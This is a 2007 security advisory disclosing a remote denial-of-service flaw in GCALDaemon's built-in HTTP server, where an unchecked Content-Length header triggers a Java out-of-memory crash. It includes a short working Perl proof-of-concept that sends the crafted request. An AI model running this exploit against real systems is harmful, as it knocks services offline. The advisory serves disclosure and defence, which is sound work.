GCALDaemon Remote DoS
Secure Network - Security Research Advisory
Vuln name: GCALDaemon Remote DoS
Systems affected: GCALDaemon 1.0-beta13 (all platforms)
Systems not affected: -
Severity: Low
Local/Remote: Remote
Vendor URL: http://gcaldaemon.sourceforge.net/
Author(s): Luca "ikki" Carettoni - luca.carettoni@xxxxxxxxxxxxxxxx
Vendor disclosure: 22nd August 2007
Vendor acknowledged: 22nd August 2007
Vendor patch release: n/a
Public disclosure: 18th September 2007
Advisory number: SN-2007-01
Advisory URL: http://www.securenetwork.it/advisories/, http://www.ikkisoft.com
*** SUMMARY ***
GCALDaemon is an OS-independent Java program that offers two-way
synchronization between Google Calendar and various iCalendar compatible
calendar applications. GCALDaemon is primarily designed as a calendar
synchronizer but it can also be used as a Gmail notifier, Address Book
importer, Gmail terminal and RSS feed converter.
Sunbird/Kontact/Firefox/ThunderBird/Mozilla Calendar all share calendars over
HTTP, by uploading their file via an HTTP PUT and getting/refreshing their
calendar with an HTTP GET. The GCALDaemon's built-in HTTP server keeps this
HTTP messages in sync with a specified Google Calendar. An input validation
flaw permits to craft an HTTP request with an abnormal content-length value;
this malformed request could trigger a denial of service that arises from a
Java out of memory fatal error.
*** VULNERABILITY DETAILS ***
Using a crafted HTTP request, an attacker could trigger a denial of service
that arises from a java.lang.OutOfMemoryError when the Java heap space is
overfilled.
In the file "org/gcaldaemon/core/http/HTTPListener.java", the GCALDaemon's
built-in HTTP server parses the HTTP request and the HTTP header parameters
without validation checkpoints.
In the line of code "490:org/gcaldaemon/core/http/HTTPListener.java" the
"Content-Length" header parameter is used to create a new byte array; when the
size of this structure is big enough, it could trigger a Java fatal error that
blocks the HTTP daemon:
Exception in thread "HTTP listener" java.lang.OutOfMemoryError: Java heap space
at
org.gcaldaemon.core.http.HTTPListener.readRequest(HTTPListener.java:490)
at org.gcaldaemon.core.http.HTTPListener.run(HTTPListener.java:167)
*** EXPLOIT ***
The provided proof-of-concept can trigger the issue.
--------------------------------------------
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
my $host = shift || die "Usage: $0 host [port]\n";
my $port = shift || 9090;
my $sock = new IO::Socket::INET(PeerAddr => $host, PeerPort => $port, PeerProto
=> 'tcp')
or die "error: $!\n";
print "GCALDaemom DoS Expoit\n";
print "Just 4 seconds...\n";
sleep 4;
$sock->send("GET / HTTP/1.1\r\n");
$sock->send("Content-Length: 1000000000\r\n\r\n");
$sock->close;
print "\n\nNo more sync!\n";
--------------------------------------------
*** FIX INFORMATION ***
This bug will be fixed in the next version of GCALDaemon.
Thanks to the GCALDaemon's developers for the great tool.
*** WORKAROUNDS ***
It should be noted that the web server has the possibility to set a group of
allowed hostnames or IP addresses; the default configuration is "allow ALL".
Users may be restricted setting the allowed hosts so that remote aggressors
cannot trigger this flaw.
*********************
*** LEGAL NOTICES ***
*********************
Secure Network (www.securenetwork.it) is an information security company,
which provides consulting and training services, and engages in security
research and development.
We are committed to open, full disclosure of vulnerabilities, cooperating
with software developers for properly handling disclosure issues.
This advisory is copyright © 2007 Secure Network S.r.l. Permission is
hereby granted for the redistribution of this alert, provided that it is
not altered except by reformatting it, and that due credit is given. It
may not be edited in any way without the express consent of Secure Network
S.r.l. Permission is explicitly given for insertion in vulnerability
databases and similars, provided that due credit is given to Secure Network
The information in the advisory is believed to be accurate at the time of
publishing based on currently available information. This information is
provided as-is, as a free service to the community by Secure Network
research staff. There are no warranties with regard to this information.
Secure Network does not accept any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.
If you have any comments or inquiries, or any issue with what is reported
in this advisory, please inform us as soon as possible.
E-mail: securenetwork@xxxxxxxxxxxxxxxx
GPG/PGP key: http://www.securenetwork.it/pgpkeys/Secure%20Network.asc
Phone: +39 0363 560 404